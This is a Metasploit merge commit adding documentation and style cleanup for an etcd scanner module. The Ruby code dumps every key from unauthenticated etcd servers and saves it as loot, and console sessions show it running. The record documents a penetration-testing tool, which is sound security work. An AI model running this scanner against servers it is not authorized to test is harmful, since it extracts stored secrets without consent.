Merge pull request #9 from jhart-r7/pr/fixup-9760

More docs and some style cleanup for etcd scanner
This commit is contained in:
h00die
2018-03-28 13:17:29 -04:00
committed by GitHub
2 changed files with 75 additions and 29 deletions
@@ -11,6 +11,10 @@ unauthenticated users access to the data stored via HTTP API.
4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld`
5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"`
### Docker
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
## Verification Steps
1. Install the application
@@ -25,12 +29,12 @@ unauthenticated users access to the data stored via HTTP API.
### etcd 3.2.15 on CentOS 7.1
```
msf5 > use auxiliary/scanner/etcd/open_key_scanner
msf5 > use auxiliary/scanner/etcd/open_key_scanner
msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[+] 2.2.2.2:2379
[+] 2.2.2.2:2379
Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
Data: {
"action": "get",
@@ -62,3 +66,43 @@ host port proto name state info
---- ---- ----- ---- ----- ----
2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
```
### etcd in Docker
```
msf5 > use auxiliary/scanner/etcd/open_key_scanner
msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[+] 127.0.0.1:2379
Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
Data: {
"action": "get",
"node": {
"dir": true
}
}
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/etcd/open_key_scanner) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
```
@@ -10,35 +10,37 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Etcd Keys API Information Gathering',
'Description' => %q{
'Name' => 'Etcd Keys API Information Gathering',
'Description' => %q(
This module queries the etcd API to recursively retrieve all of the stored
key value pairs. Etcd by default does not utilize authentication.
},
'References' => [
['URL', 'https://elweb.co/the-security-footgun-in-etcd']
],
'Author' => [
'Giovanni Collazo <hello@gcollazo.com>', # discovery
'h00die' # msf module
],
'License' => MSF_LICENSE
),
'References' => [
['URL', 'https://elweb.co/the-security-footgun-in-etcd']
],
'Author' => [
'Giovanni Collazo <hello@gcollazo.com>', # discovery
'h00die' # msf module
],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(2379),
OptString.new('TARGETURI', [ true, 'URI of the vulnerable service', '/'])
])
register_options(
[
Opt::RPORT(2379),
OptString.new('TARGETURI', [true, 'URI of the vulnerable service', '/'])
]
)
end
def run_host(target_host)
def run_host(_target_host)
path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true')
vprint_status("#{peer} - Collecting data through #{path}...")
res = send_request_raw({
res = send_request_raw(
'uri' => path,
'method' => 'GET'
})
)
# parse the json if we got a good request back
if res && res.code == 200
@@ -47,22 +49,22 @@ class MetasploitModule < Msf::Auxiliary
store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys')
# since we know its vulnerable, go ahead and pull the version information
res = send_request_raw({
res = send_request_raw(
'uri' => normalize_uri(target_uri.to_s, 'version'),
'method' => 'GET'
})
)
banner = ''
if res && res.code == 200
banner = res.body
end
report_service({
:host => rhost,
:port => rport,
:name => 'etcd',
:proto => 'tcp',
:info => banner
})
report_service(
host: rhost,
port: rport,
name: 'etcd',
proto: 'tcp',
info: banner
)
rescue JSON::ParserError => e
print_error("Failed to read JSON: #{e.class} - #{e.message}}")
return